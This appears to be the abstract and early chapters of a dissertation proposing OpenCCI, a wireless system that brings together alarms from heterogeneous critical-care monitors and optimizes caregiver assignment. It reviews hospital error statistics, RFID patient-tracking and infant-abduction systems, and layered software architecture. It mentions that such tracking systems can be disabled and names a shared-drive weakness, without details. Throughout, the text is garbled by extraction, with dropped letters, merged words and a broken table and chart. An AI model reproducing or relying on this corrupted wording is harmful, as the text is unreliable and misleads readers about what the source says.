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Abstract

Secure Critical Care Resource Optimization based on Hgde@epus Vital Signs

by
Mohamed Khedr A. Saad

Advisor: Bilal Khan

Preventable, in-hospital errors account for a substantiaiber of deaths and injuries
in the United States. Various studies estimate that sucthsleamber between 100,000
and 200,000 each year. One of the key challenges in critar@ is a legacy of existing
largely wired medical networks, which due to the complexitytheir constituent hetero-
geneous medical devices, limit the ability to optimize tHecation of medical resources
such as caregivers. The absence of reliable solutions waddness the interoperability
of different systems inside critical care units, is priratip due to market concerns, since
competing vendors do not embrace data sharing standardisis work, we present a so-
lution that integrates heterogeneous wired legacy syswthin a backward compatible
wireless interconnect system, providing mobility to caregs, and the ability to coordi-
nate and optimize their assignment to patients. The desidraechitecture is able to scale
as needed in terms of system load and size. We demonstnategthsimulation, that the
system is able to, through the optimization of caregivergassent, significantly reduce
total patient risk within healthcare institutions. A priytpe implementation of the system,
demonstrates that the system has great promise in reai-field deployments, and can be

instrumented to be compliant with site security requireta@md the HIPAA privacy act.
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CHAPTER 1

BACKGROUND

Preventable, in-hospital medical errors account for atamtisl number of deaths in the
United States. Recent study estimates indicate that swathsglaumber between 100,000
and 200,000 each year [32, 30]. These studies suggest Wbt constitutes a national
epidemic, and provide a clear signal that hospitals whiglestin information technol-
ogy for medical care, experience fewer catastrophic ethans those that do not. The same
studies estimate that if all patients were hypotheticalipdted to the best performing hos-

pitals, several thousand lives and several hundred midl@lars could be saved annually.

Hospitals use sophisticated equipment to monitor and miairthe state of a patient’s
health. As an example, such equipment may include ventidto moving breathable air
into and out of the patient’s lungs, infusion pumps for itjjeg fluids, medication and/or
nutrients into a patient’s circulatory system, pulse oxgnefor measuring the oxygen sat-
uration levels in a patient’s blood stream, and cardio noositor measuring the electrical
and pressure waveforms of a patient’s cardiovascularmsyfaa, 37]. Of course these are
merely illustrative examples; the actual number of didtolasses of devices is in the hun-
dreds [18], and within each class many variant implemematarise. The equipment is
also used to monitor inpatient instantaneous health stafus they are referred to in the
domain nomenclaturevital signs Of these, the following are most typical [47] and are
easiest to convey to the intended audience of this docurfwhich the author does not

assume to be medical specialists):



1. Body temperature.
2. Pulse rate (or heart rate).
3. Blood pressure.

4. Respiratory rate.

For a typical hospital patient, vital sign information iopided by a number ofietero-
geneouslevices produced by a set of distinct manufacturers. Eathese devices has a
corresponding system of cabling and data protocols. Astdolyy advances, the number
of devices per patient grows, and it becomes increasinglseroballenging for a care-
giver to monitor information provided by each of the diffetelevices, and to integrate the
multivariate information towards a holistic understamgof the patient’s overall state of

health.

Beyond the scale of a single patient, the side effects ofcdediversity are amplified at
the scale of a critical care unit. As patient-to-nurse satnzrease, information monitoring
becomes even more challenging, since caregivers mustidtiemgreater numbers of pa-
tients, and spend less time at caregiver stations wherematton for all patients might be

available.

The situation is made even more dire by the fact that operatfcequipment important
to patient health can be temporarily suspended during &pkat care-giving procedure.
For example, ventilation may be suspended during surgedjagnostic testing. In such
cases, it is possible for the caregiver to forget to reiestia¢ equipment after the special
care-giving procedure has been completed, thereby sulgetie patient to harmful con-

sequences including the risk of death.

In addition to the vital sign monitoring systems issues, aarpatient tracking, and infant
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anti-abduction systems are widely used in our hospital aedical institutions, to augment
standard security processes. Vulnerabilities in thoseesysmake them unable to provide
reliable safety, but they nonetheless act like an experssi@eecrow. An abductor, seeing
these systems, assumes that they are robust. Unfortuntislis far from the truth. The

author has shown that with just limited knowledge, many ekthsystems can be quickly

disabled (see chapter 13 section 13.3 and 13.4).

Example. An article in the Winter 2005 report of the Anesthesia Patiafety Foundation

(APSF) Newsletter described an incident in which a 32-ygdmwoman had a laparoscopic
cholecystectomy performed under general anesthesiaeAttiyeon’s request, a plane film
x-ray was shot during a cholangiogram. The anesthesidlstgisped the ventilator in order
to shoot the film. After shooting the film, the x-ray technici@aas unable to remove the
film because of its position beneath the table. The anesibgsst attempted to help the
x-ray technician, but found it difficult because the gearshantable had jammed. Finally,
the x-ray was removed, and the surgical procedure recongdeid some point thereafter,
the anesthesiologist glanced at the EKG and noticed sevadgdardia. He realized he had

never restarted the ventilator. This patient ultimatelyiesd [44].

Example. In a different instance, a monitoring nurse station unieneed multiple respi-
ratory alarms from several patients in the critical card.uhfhe four attending nurses be-
come occupied with the respiratory alarm patients, whilamile, another cardio alarm
occurred at a different patient. By the time the nurses fedss$tabilizing the respiratory
alarm patients, the cardio alarm patient had expired. Thergg of the respiratory alarms
was not critical, and if the nurses had suspended servicagambthe respiratory alarm
patients, handled the cardio alarm, and then resumed sevihie suspended alarm, the

fatality could have been avoided [43].
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For a typical hospital patient, vital sign information iopided using a number of hetero-
geneous pieces of equipment produced by a variety of matowéss, each with its own
attendant cabling and data protocols. Patients in hogpitadal care units require a high
level of caregiver vigilance with regards to vital sign daf#éal sign data monitors provide
warning notifications (e.g. audible alarms) locally witleach patient’s cubicle. Unfortu-

nately, alarms are often missed because:

Wired connections can be prone to undetected faults,

Devices are disabled accidentally,

Devices are disabled with the intention of only a temporasgahnection, but then

are accidentally not restored.

Ambient noise levels from competing alarm notifications.

A system is particularly prone to these types of issues ieptt are to be moved between
different facilities, and even more so if monitoring dat&r@smitted over physical wiring.
Stated concretely, moving a critical care patient from clgio MRI poses additional risks
on the continuity of the vital sign monitoring process. Witlsuch systems, patients are
vulnerable to monitoring failures. Put simplyitical care patients are routinely subject
to systemic risks which lie outside of their medical cowdis, but rather, are artifacts of

shortcomings in the medical delivery process itself.

1.1 Modern Healthcare Facilities

Health systems have undergone tremendous transformatidhe recent years. Techno-

logical development and modern medical practices are artt@giost important factors
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driving this transformation. This trend is resulting in &gter demand for healthcare re-
lated products and services and greater competition ameadthicare providers. This com-
petition has, in turn, motivated healthcare providers toobee increasingly interested in
performance optimization and outcomes assessment withinhliealthcare delivery envi-

ronments [35]. Market forces (as much as medical ethicsgdiihem towards the goal of
providing accountability, auditing, and optimal resouatlecation. As one specific exam-
ple of a step in this direction, critical care units seek toidwexperiencing a flood of un-

differentiated and unprioritized alarms that make the esisslence them indiscriminately

[24].

The greatest changes for healthcare enhancement come dr@anczs in the natural sci-
ences (e.g., biology, chemistry, and medicine). Howev@naacements may also derive
from macroscopic improvements in administrative struegithat are facilitated by devel-
opments in Information Technologies (IT) that facilitatenare integrated healthcare in-
formation system [19]. An example of such an advance mighhbedevelopment of a
specialized wrist watch that monitors the patient’s puée,rhormone levels or other vital
signs. If a threatening situation is detected (by devicawénwatch), then the following
sequence of events could be initiated: A corrective drugiteraatically administered to
the wearer of the watch; appropriate telephone calls areenwaithie ambulance service, the
patient’s primary care physician and to the nearest emeyg@om. Some limited proto-
types of this concept are already in existence. One is bas&dFtD and Sensor Networks,
and generates progress reports for Elder Healthcare [2¥]th&r is the RFID Smart Band

that many US medical centers have already started to use [20]



Critical care rooms

A typical critical care room has a large set of vital signs manng equipment and de-
vices surrounding the patients. These include ventilatofgsion pumps, oximeters, car-
dio monitors, among many, many others. The devices makenfieoament around the
patients dense with cables, which are prone to physicair&sland misconfiguration. Re-
placing this legacy wired system with a wireless self-canfigg extensible system is a key

step in improving health care delivery within critical cao®ms.

Figure 1.1.1Vital signs monitoring devices in critical care room.

Operating rooms

Although in this work we will be principally concerned withe critical care unit, oper-

ating rooms are another kind of environment often dense mithitoring devices. Most
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healthcare equipment vendors that supply the operating roonitoring systems define
their own guidelines and standards. This contributes ta afssolated brands and inte-
gration systems, leading to a technologically more comfdexi hence hazardous) envi-
ronment. There are a few remarkable efforts that have sedfiately [27, 20], that seek to
define standardization of device integration in both aitcare and operating rooms, and
to define an architecture for interconnectivity betweertageneous systems in healthcare
operating rooms. An RFID case study was demonstrated injagbio a Taiwan hospital
[51]. These ongoing efforts at developing an interopeitgtsblution that spans a diverse
set of medical devices, will ultimately impact not only theepating room, but the critical

care unit as well.

1.2 The Crisis in Healthcare Monitoring

This section presents the outcome of three recent studieshwighlight the current state
of healthcare monitoring. The studies were conducted bsetllifferent major agencies
with published reports from the year 2000 up to the year 20Héxe we present a brief
synopsis; more details on each of the reports are readiijahl@to interested reader [32,

30, 25, 6, 50].

Health Grades Health Grades, is a leading healthcare ratings orgaaizagiroviding
ratings and profiles of hospitals, nursing homes and plgrsiciThe Health Grades studies
shows that the IOM reports may have underestimated the nuohdeaths due to medical
errors, and, moreover, that there is little evidence tha¢ptsafety has improved in the last
five years. According to Dr. Samantha Collier, Health Gradies president of medical

affairs:



“The equivalent of 390 jumbo jets full of people are dying legear due to
likely preventable, in-hospital medical errors, makings tbne of the leading

killers in the U.S.”

Joint Commission The Joint Commission is an independent, non-profit orgeiaa,
whose mission is to continuously improve the safety andityuaficare provided to the pub-
lic through the provision of healthcare accreditation agldted services that support per-
formance improvement in healthcare organizations. Thet Jdommission has reviewed
23 reports of deaths or injuries related to long term vetitilg of which 19 events resulted
in death and 4 in coma. Of the 23 cases, 65 percent were rétatieel malfunction or mis-
use of an alarm, or an inadequate alarm; 52 percent weredelat tubing disconnect; and
26 percent were related to dislodged airway tube. A smatlgreage of the cases were re-
lated to an incorrect tubing connection or wrong ventilaetting. None of the cases were
related to ventilator malfunction. As the percentagesaaidi, ventilator-related deaths and
injuries are often related to multiple failures that leachémative outcomes. The majority
of the cases occurred in hospital Intensive Care Units ()Cfdlowed by long term care
facilities and hospital chronic ventilator units. Tabl@.1.is published at the Joint Com-
mission website [25], and shows a root cause analysis of3fmag&es, and describing the

identified contributing factors.

The National Center for Missing and Exploited Children. The National Center for
Missing and Exploited Children stated in its 2003 study whoovered more than 200
abduction cases (as well as the 2010 infant abductiontstatieport) show that healthcare

facility locations were the site of over two-thirds of alfamt abductions cases [6, 50].



Staffing

Inadequate orientation/training proces87 percent
Insufficient staffing levels 35 percent
Communication breakdown

Among staff members 70 percent
With patient/family 9 percent
Incomplete patient assessment

Room design limits observation 30 percent
Delayed or no response to alarm 22 percent
Monitor change not recognized 13 percent
Equipment

Alarm off or set incorrectly 22 percent
No alarm for certain disconnects 22 percent
Alarm no audible in all areas 22 percent
No testing of alarms 13 percent
Restraint failure (escape) 13 percent
Distraction (environmental noise) 22 percent
Cultural (hierarchy/intimidation) 13 percent

Table 1.2.1: Root causes in ventilators related death gndes [25].
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Figure 1.2.1A review of 119 cases reported identified the areas from wthiehchildren
were taken [6, 50].

Abduction Location

Premise of
Healthcare Other Missing

Nursery, Facility, Locations, [ pata, 1.70%

10.10%

Pediatric
Room,

10.90% No Data,

1.60%

Mother's
Room,
39.50%

Home,
25.20%

1.3 Looking Forward

The findings presented in the aforementioned reports of #adthi Grades, the Joint Com-
mission, and the National Center for Missing and Exploitéild@en, are exemplary doc-
umentation of a major and ever more severe problem in heatthtoday. This systemic
problem manifests in injury and other possibly fatal riskgatient health. The sheer num-
ber of these incidents annually makes this one of the mossprgtechnological challenges
facing modern society today. It is apparent that new and e solutions must be devel-
oped to remedy the underlying issues which are responsibléése elevated risk factors.

This challenge is precisely what we intend to address invibik.



11

CHAPTER 2

RESEARCH QUESTIONS

Healthcare service in hospitals and medical centers has tiwaugh a major restruc-
turing over the last decade. Some recent studies showedlthatigh Registered Nurse
(RN) full time equivalents (FTES) appeared to increase, R8I to patient ratios were
adjusted for the Medicare case-mix increase to accountdoitya there was almost no
change seen in patient-caregiver ratios over a 10 yeardefibis factor, coupled with a
decline in unlicensed nursing personnel, contributedeémt effect of increasing the frac-
tion of non-clinical personnel (relative to clinical stgff These workforce changes have
compounded the very real hazards brought about by the @ratibn of incompatible wired
medical devices. The resulting deterioration in criticatechas led healthcare providers,
consumers and regulatory agencies to express a growingicotitat these challenges,
rooted in technological issues but compounded by trendsiffirgy changes, have compro-
mised quality of care and created a patient safety crisis.tifine is ripe for these problems

to be addressed.

1. One consequence of this shift was the accurate caregpenception that there were fewer
licensednurses at the bedside administering direct patient carés Was correct, since after the
aforementioned adjustments were made to the accountiagatio of licensed nurse to unlicensed
caregivers had indeed declined.
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In light of historical changes in both the organizationatl aachnological landscape of
critical care delivery, the following research questiomasunally present themselves, and

are the subject of this work:

e Is it possible to design a system that is capable of condoiglaifferent types of
patient vital signs from heterogeneous vendors, withastticting vendor efforts at

product differentiation?

e Can such a system be made wireless and still be robust, saadréHealth Insurance

Portability and Accountability Act) HIPAA-compliant?

e Can the aggregated vital sign alarm information generajeduich a hypothetical
system be used to optimize the dynamic assignment of camsgiv patients, in a

manner that minimizes systemic risks of injury?
e How does one quantify the performance of such an assignrgoritam?
e Can such system be designed to be cost-effective?

e Can the system operate effectively at real-world scalesnmg of numbers of pa-

tients, caregivers, vital signs, and device manufact@rers

e Can the system be made extensible on the aforementionedsaxkdesigned so that

it can be grown along them, while avoiding any system dowa®im

2.1 Why the Problem Remains Open

Standards and privacy regulations are significant chadieng building compatible inter-

connected systems in healthcare. They are, however, gisiptiof the iceberg in terms of
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obstacles on the path to the widespread data sharing thaesessary foundation for true
device interoperability. Some consider the structure eftldustry itself to be a barrier. On
this subject, Elizabeth S. Roop stated in her presentatiddaia Standards Complexities

[2010]:

“Competitive concerns, and shaky standards are among ttaadbs in the

battle to get healthcare organizations to embrace datangtiar

Charles W. Jarvis, Vice President of healthcare servicggavernment relations for NextGen

Healthcare noted [2010]:

“Data sharing is a symptom of a much broader issue with retgendalthcare,”

and then went on to describe the fragmentation that maké$icudt for any kind of stan-
dardization of data collection to take holf in healthcaragpices, as would be critical to

effective data sharing:

“It is made up of many individual units: [independent] hdajs, small physi-
cian practices, etc. It's very individualized a bunch of #rhasinesses that

make up the majority of the industry.”

Many leading corporations, e.g. Siemens and General Elgictrerpret the goal of health-
care interoperability as the seamless interconnecticheif own devices They favor a
single manufacturer interconnection system all over thetheare facility. This vision
does not really support the objective of interoperabiliither, it represents an obstacle to
the achievement of this goal. Unfortunately, in the intenpatients suffer at the hands of

corporate logic driven by short-term market strategy.
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2.2 System Design Objectives

We seek to design, develop and evaluate a complete systensy$tem should be:

1. Capable of aggregating alarm data from different typgmtient vital sign monitors,

including but not limited to respiratory, blood pressu@&dio, and body temperature.

2. Capable of supporting vital sign alarm data acquisitromfa heterogeneous set of
devices, provided by a variety of manufacturers and suggbé critical care vital
sign monitoring equipment, under the presumption that e&cidor has their own

device protocols and data representations.

3. Support low-cost expansion of the system in integratddjtaonal vital signs moni-
tors from new or existing vendors. In addition, such extemshould not require sig-
nificant system downtime, as would be mandated if a full rqutation was needed
to incorporate changes to data structures and protocoks aiidhitecture of the sys-

tem should facilitate plugins to a stable core framework.

4. Facilitate mobility of patients and monitoring devicgsslhipporting self-configuration

and data acquisition over a wireless transportation medium

5. Enable the optimization of caregivers and nurse schegiutiased on the aforemen-
tioned aggregated vital sign alarm data. In particularsystem should be tailored
for use in a critical care unit, where it should result in amfifaable reduction in the

likelihood of patient injury and fatalities.

6. Send directives describing schedule assignments tgiears, nurses and staff through

their mobile wireless devices.
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7. Be compliant with Health Insurance Portability and Aaatability Act (HIPAA),
enforcing privacy and security standards through the @iffephases of alarm data

acquisition and caregiver notification.

2.3 Related Research Areas

In the next two sections | describe existing solutions topheblems of Patient Wander
Prevention and Infant Abduction Prevention. These problane much more limited in

scope compared to the research questions we seek to adutieissesearch. Nevertheless,
some aspects of the design, particularly mobility and setffiguration, are worth noting—

as are potential security pitfalls.

2.3.1 Patient Wander Prevention

In patient tracking systems, patient wristbands contaitDR&gs. These tags can interact
with hospital information systems, allowing administvattasks like admissions, transfers
and discharges to be automated. The US FDA (Food and Drug msknation), has ap-
proved a tag called the VeriChip for use in humans (implanf22, 48]. These tiny tags
could hold a full medical record and are being used to helpantkossible to contin-
uously track disoriented, elderly and high-risk patied#]] These RFID systems have a

wide spread in healthcare institutions, and have a finamojzct on their operation [9, 52].

Bracelet Tag The bracelet tag (see Figure 2.3.1 [a]) is composed of twts p&irst, it
contains a transponder which transmits a unigixewhen it approaches a portal control

device. The uniqué D is associated to a patient’s identity. Secondly, simileays are
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placed on either the wrist or the ankle. Other versions adeghtags use public key based

authentication algorithms [29].

Portal Control Device. The portal control device (see Figure 2.3.1 [b]) is the sgcmon-

itoring component. The device board connects to an extemmainna to receive bracelet
tag transmissions. It also connects to external wall mooot dontacts in order to sense
the door status. The board relay is integrated with a spdal@rnounce alarms, and data

entry keypad for control.

Central Reporting Device This component collects alarms generated on any portal con
trol device within the network. It regenerates the alarncgping the bracelet tag D and

the source portal control devide.

Figure 2.3.1(a) Bracelet Tag. (b) Portal Control Device.

(a) (b)

2.3.2 Infant Abduction Protection

Infant abduction protection systems consists of radiostratier tags that are worn by in-
fants. In addition, the system utilizes low frequency doumitoring devices, radio fre-
guency receivers, and a dedicated control PC that monheradtivity of all tags and sys-
tem devices. The receivers, door monitors and other degigesonnected to a controller

PC over a network using serial protocols.
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Once activated, the tag emits a regular signal that is piakdaly the receivers and relayed
to the controller PC. As long as the infant remains withinltimr department, he or she
may be moved freely. As soon as a tag comes near an exit, an islgenerated at the PC
showing the specific tag and its exact location. The systasm alitomatically generates
an alarm if someone attempts to remove the tag. The tag carfidioe with magnetic door

locks and other devices.

Figure 2.3.2Infant Tag.

Infant Tag. The infant tag (see Figure 2.3.2) is an upgrade of the bettad, using an
electric conducting strap. The transponder (Version-¥)the metal contacts attached to
the strap from both sides. In-case of loss of continuity ef ékectric signal between the
contacts, the transponder transmit a Tamper Message. &hareadditional version of
transponders (Version-2) that has a skin biometric semgach verifies contact with the
infant skin; this version use the skin sensor to transmitdeotag Message at loss of contact

with skin. Both versions transmit thie) every10 sec as a Supervision Message.

Coverage Area ReceiversCoverage area receivers are the radio frequency receggion
vices, which are installed at regular intervals througtibatmonitored area of the facility.
Coverage area receivers monitor the infant tag transnmmsstone stamp them, and relay

them to the controller PC.

Portal Exciters. Portal exciters effectively guard the exits from the morat area. In-
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stalled above or beside the doorway, the exciter emits ectietefield that covers the
opening. When an infant tag enters the field, it imnmediatelggmits a portal message to
the controller PC via the coverage area receivers. It also@cts to external wall mount
door contacts in order to sense the door status, and senads atdtus change message to

the Controller PC.

Controller PC. The Controller PC monitors and controls all system openati typically
located at a nursing station or at a facility security statiddditional computers can be con-
nected at other locations throughout the facility over alacea network. In one healthcare
facility where the author conducted research, these additicomputers were connected
over the facility LAN (not on an isolated LAN) with a sharedwdrover the network to en-
able data storage and retrieval. This design exposed arabiiiey that was used to attack

the system.
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CHAPTER 3

MODULAR SYSTEM DESIGN

3.1 OpenCCI™a Critical Care Alarm Monitoring System

OpenCCIM Critical Care Alarm Monitoring System addresses diffem@syects of pa-
tient safety in the critical care unit. It is expected that ownovation will enable any
hospital to have a Joint-Commission level best practicesless system for remote patient
monitoring that provides enhanced safety and reliabilitylevimproving nurse produc-
tivity and equipment utilization. Our system converts aedialarm system to a wireless
system while joining together heterogeneous monitoringggent under one monitoring
scheme. The result is a consolidated mobile system with teemonitoring capability in
a single monitoring system that makes cost-effective bestaf the hospital’s equipment
inventory. Vital sign monitors from various critical carentilators, infusion pumps, pulse
oximeters, cardio monitors, etc., are made wireless, raald with remote monitoring
capability. In particular, the OpenCEY system remotely tracks vital sign data of patients
from various heterogeneous monitoring devices, trarskite heterogeneous data accord-
ing to a standard protocol, analyzes the data accordingtemdard rule set for determining
alarm conditions, and transmits alarms to remote monjtoi(serein alarms are expressed
by one or more of visual, aural, text and text-to-speech meisims at remote hand-held

monitors (smart phone -like).

The Critical Care Interconnect system will become moreitgagparent from the Detailed
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Description of the System, which proceeds with referendbealrawings, in which:

e Figure (3.2.1) shows a schematic block diagram illustgpsirphysical architecture

of a patient monitoring and alarm system in accordance \ugptesent system;

e Figure (3.2.2) illustrates a logical architecture of théiggg monitoring and alarm

system of Figure (3.2.1);

e Figure (3.3.1) illustrates a software architecture of taggmt monitoring and alarm

system of Figure (3.2.1);

e Figure (3.4.1) shows a schematic block diagram illustgaéin architecture for a re-

mote translation device of the patient monitoring and alsystem of Figure (3.2.1);

e Figure (3.4.2) illustrates a library of protocol transtetiadapters for use in the re-

mote translation device of Figure (3.4.1);

e Figure (3.5.1) shows a flow diagram illustrating an alarnofitization procedure
according to the present system; Figure (3.6.1) shows a fiagram illustrating a

system health checking procedure according to the pregstars; and

e Figure (3.7.1) shows a flow diagram illustrating an alarmakdon procedure ac-

cording to the present system.

A preferred embodiment of the present system is describlEdvpwith reference to the
drawings. This embodiment is provided to illustrate pnihes of the present system, and

is intended to be non-limiting.

A patient monitoring and alarm system is arranged to tratzk sign data of patients from a

plurality of heterogeneous monitoring devices. A protdcahslation adapter is associated
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with each monitoring device to translate the heterogenédatss into a standard language
for vital sign monitoring, and to wirelessly transmit tharislated data to an associated
access point of a server for further processing. At the segiive data is analyzed according
to a standard vital sign rule set for determining alarm cbonds, and alarms which are
expressed via one or more interfaces to the server in one o& ofovisual, aural, text
and text-to-speech forms. The vital sign rule set accowntgdrrent patient events and
conditions in determining an alarm condition. The serveoapplies an escalation rules

base to establish an escalation path for the alarms.

3.2 System Architecture

Figure 3.2.10penCCIMphysical architecture.
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Figure (3.2.1) shows a schematic block diagram illustgainphysical architecture of a
patient monitoring and alarm system 100 in accordance Wwighpresent system. Figure

(3.2.1), shows the physical architecture diagram of theesysThe system includes a cen-
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tralized application/database server 101, which operatemally to receive and manage
data received from other devices in the system 100, to deteratarm conditions through
an analysis of the received data, and to dispatch alarm gaitdn signals to the other
devices. An array of remote translation devices 102 corapriseless devices in commu-
nication with various patient vital sign monitors to coliettal sign data for transmission to
the centralized application/database server 101 via @gsehccess point 103 and network
104. Although not illustrated, multiple wireless accessmomust typically be provided
for communicating with a large number of remote translatiemices 102 geographically
distributed over a large area and on multiple floors of an@assd hospital or other health

care facility.

A plurality of local alarm notification devices 105 (for expla, light and sound indicators
installed in proximity to a patient room) may be preferahig\pded and controlled through
a dry-contact controlled IP relay 106. A nurse station teahil07 is typically placed at
a nurse’s station, and is preferably configured for recgitaxt to speech vocal alarms,
as well as visual alarms and/or alarm reports that appeardispéay screen of the nurse
station terminal 107. In addition, text to speech vocalralaressages may be dispatched,
for example, via a commercial Voice over IP (VOIP) platfommurse’s and staff’s mobile
phones 108 in the possession of nurses and other staff whooamgresent at the nurse

station terminal 107.

The system also preferably enables remote connection teygtem server 101 via a se-
curity firewall 109 to a remote client terminal 110 via theeimtet 111 or another suitable
distributed network. The system also preferably includes@ministration terminal 112

for performing various administrative tasks such as aughag users to the system 100 and

maintaining rules bases and data and software stored oeher401.
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Figure 3.2.20penCCIMsoftware design.
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Figure (3.2.2) shows illustrates a logical architectureie system 100. The logical archi-
tecture 100 includes a control layer 120, a hardware piatlayer 130 and a presentation
layer 140. In the control layer 120, a service 121 operatesitoring device drivers 122
for operating and communicating with monitoring deviceipgquent 132 in the hardware
platform layer which collects the vital sign data from theigas patient vital sign moni-
tors (for example, ventilators and infusion pumps). Theiserl21 receives the vital sign
data collected by the monitoring device equipment 132gesttris data in one or more data

engines 123, and carries out analysis to uncover alarm tonsli The service 121 oper-
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ates alert device equipment 134 (for example, light in@isall05 and the nurse’s station

terminal 107) via alert device drivers 124 to provide afegtindicators of alarm conditions.

The service 121 also engages a web service 125 by which amisthaiion terminal ap-
plication 143 and/or a nurse station terminal applicatidd &f the presentation layer 140
may communicate with the service 121 via a server proxy 1dadHdition, a web service
146 is provided at the presentation layer 140 so that theradtration terminal application
143 and/or the nurse station terminal application 144 mawgnsanicate with the service

121 via a terminal proxy 126 of the control layer.

Control layer 120 may also include, for example, a radiodssgy identification (RFID)
platform 127 for preparing the middleware components @uoittranslation adapters) re-
quired to enable communications between the service 121R&hA monitoring device
equipment 132 receiving vital sign data from the patierehgtgn monitors. In addition,
one or more other device simulation platforms 128 may beigeaito prepare middleware

components for other types of monitoring device equipm@&at 1

3.3 Software Architecture

Figure (3.3.1, illustrates a software architecture fordpstem 100 of Figure (3.2.1). The
software architecture is presented in a multi-layer (oeehtier) structure. A Presentation
Layer 150 contains three different user interface (Ul) mestua Nurse Station Terminal
user interface 151 for visual and text to speech alertstagder staff located at the station,
an Administrator Terminal user interface 152 for system itooimg and for system history

reports retrieval, and a Configuration Terminal user iaigaf153 that facilitates changing

the system configuration and calibrating its performance.
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The Security and Encryption Layer 155 allows the Presemtdtiayer components like
the Nurse Station Terminal 151 and the Administrative Teahil52 to connect to the
OpenCCIMservices 171 in the Application Layer 170. The Security ancription Layer
155 allows these endpoints to communicate across the reti@®@t, preventing eaves-
dropping and message tampering. This layer facilitatesestication and communication
confidentiality using cryptographic methods, for example further described herein. A
service tier is represented through a host layer 160 inetudieb services modules 161
that handle data validation, authentication, authomzatand transactions. e Inter Process
Communication channels (IPCs) 162 and an Internal Commatioitc Foundation (ICF)

163 regulate and mange the distribution of data betweemialtservices processes.

An application layer 170 includes a services module 171dbatains business objects and
associated business rules and procedures which enablatiexeof system logic. A Data
Layer 180 performs database access and contains impletioastfor retrieving data from

physical devices for acquiring patient’s vital signs data.

The Data Layer 180 allows data storage and retrieval threeghred channels. The Data
Layer 180 operates to abstract the database system in usgkatsany of a variety of
database systems (for example, Microsoft SQL, Oracle or XiMlIstructures) can be used.
The Data Layer 180 acquires data from devices that supparitarmg (input data), sends
data to devices that display or generate an alert (outpal),dand interacts with devices

that allow bidirectional control.

External and Third Party Components Layer 190 providesiegimn preferable interfaces
for adding additional components to the system as develop#urd parties. For example,
in order to send SMTP emails from the system, an APl or SDK @aimtegrated via the

External and Third Party Component Layer 190 to facilitaedng SMTP emails. The
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external components are shared modules among all layechwdpresent a set of utilities
such as encryption, decryption and system performanceriggfneed to further describe

the function and operation of these components].

3.4 Remote Translation Devices

Figure (3.4.1) illustrates an architecture for a remotediaion device 102 as depicted in
Figure (3.2.1). The architecture is descriptive of a nundiasuitable devices 102 employ-
ing various wireless ( for example, IEEE 802.11 and Sun SP@fgoms). The remote
translation device 102 as depicted in Figure (3.4.1) inetud processor 401 including a
device interface port 402 that is configured to receive a si&am including patient vi-
tal sign data from a vital sign monitor 113. A microcontrol#03 includes a protocol
translation adapter 405 which, with reference to storedanm data in a memory 406, is
operative to translate the vital sign data received fromvited sign monitor 113 (which
is for example provided according to a data protocol of theufecture of the vital sign
monitor 113) into data formed according to a standard lagelmotocol for acquisition of
vital signs as is described further herein. A communicasiection 404 of the microcon-
troller 403 further prepares the translated data (for exenyy encrypting and encoding
the translated data in an analog signal) for wireless tressan by wireless module 407

via an antenna 408 of the remote translation device 102.

Figure (3.4.2) illustrates a library of protocol transtetiadapters 505 provided in accor-
dance with the system of Figure (3.2.1). As illustrated gufe (3.4.2), each of the protocol
translation adapters 515 in the library is configured toiveca data signal formed accord-
ing to one of a plurality of vital sign data protocols 525 asated with the plurality of

patient data acquisition devices, and to translate this ttaform a translated data signal



27

formed according to a standard languagéor vital sign data, the standard language in-
cludes a standard communication proto@and standard data structur@s The standard
language\ is further described in later sections. As illustrated igufe (3.4.1), the proto-
col translation adapters 405, 505 are preferably providede remote translation devices
102 so that the translation of data to the standard langagm be completed before the
data is wirelessly sent by the remote translation devicetdGRe wireless access point
103 of the server 101. Alternatively, the protocol trarislatidapters 505 may be provided

within the server 101.

When provided in the remote translation devices 102, theopabtranslation adapters 505
are preferably configured to be downloaded by the server AQhe remote translation
devices 102 upon receipt of identification data from the reemranslation devices 102
identifying the manufacturer’s data protocols for the agsed patient data acquisition
devices. In this manner, for example, the system may beyeasibnfigured after re-

assigning the remote translation devices 102 among thematata acquisition devices

113.

3.5 Monitoring Vital Signs

The real time data streais processed by the server to prepare the patient statuagesss
PS of the status data set. The server applies resident vitalreigs to determine whether
vital signs data collection is active, and if so, whethenthal signs of any patient indicate
an alarm condition. The rules for determining an alarm cobmlimay differ according to a
patient event indicator indicating a patient’s currentdition. For example, the rules may
suspend indicating a vital sign alarm for a predeterminethbgef time, or allowing more

relaxed thresholds, if the patient event indicator indisahat the patient is undergoing a
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surgical procedure.

A practical example of the applicability of such rules folt® As reported in the Anesthe-
sia Patient Safety Foundation (APSF) Newsletter for Wi2@05, a 32-year-old woman
had a laparoscopic cholecystectomy performed under gesregathesia. At the surgeon’s
request, a plane film x-ray was shot during a cholangiograme.anesthesiologist stopped
the ventilator in order to shoot the film. After shooting tHenfithe x-ray technician was
unable to remove the film because of its position beneathatble.t The anesthesiologist
attempted to help the x-ray technician, but found it diffilaécause the gears on the table

had jammed. Finally, the x-ray was removed, and the surgicaedure recommenced.

At some point thereafter, the anesthesiologist glancdtedEKG and noticed severe brady-

cardia. He realized he had never restarted the ventilatos. fatient ultimately expired.

According to vital sign rules as would be applied accordmthe present system, a stored
rule for X-Ray Ventilator bypass could have in this case lefimed to provide a period of
limited time duration for the procedure (for example, 90s&ts). Applying this rule, the
system would mute or ignore ventilator alarms for the peabtimited duration, thereby
avoiding past practice where surgical staff would likelgatile the alarm (as was likely
done by the surgical staff in example above) to keep the salrgnvironment quiet. Ac-
cording to the present system, after the expiration of time period of limited duration,
the patient monitoring and alarm system would allow the mhwtentilator alarms to be
reinstated and dispatched. As a result, the risk faced bgutgcal staff of forgetting to

reactivate the muted alarm as described in the example abelininated.

In addition, in accordance with the present system, theese®1 may preferably deter-
mine an alarm condition by one or more prioritization altforis applying coefficients

{cp,c1 -} as defined in the patient status messag&sas weights. Figure (3.5.1) shows
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a flow diagram illustrating an alarm prioritization proceel@ccording to the present sys-
tem. This procedure could be important, for example, in @ easere a set of temperature
increase alarms arrive nearly simultaneously at a nursesterminal 107, together with
a cardiac alarm coming from a different patient. In this casgrioritization procedure for
prioritizing the cardiac alarm to make sure that the nurgkspatched to assist the patient

with the cardiac alarm first is critical.

In Figure (3.5.1), a process 600 begins at step 601 with theisition of alarm data at one
of the remote translation devices 102 or at server 101 froenddrihe vital sign monitors
113 indicating a patient alarm. At step 602, the remote tadios device 102 or server
101 translates the alarm data, analyzes the translatedald&termine a severity of the
alarm, assigns a coefficieataccording to a determined severity of the alarm, and prepare
an alarm data package identifying internally the type ofraland its severity coefficient
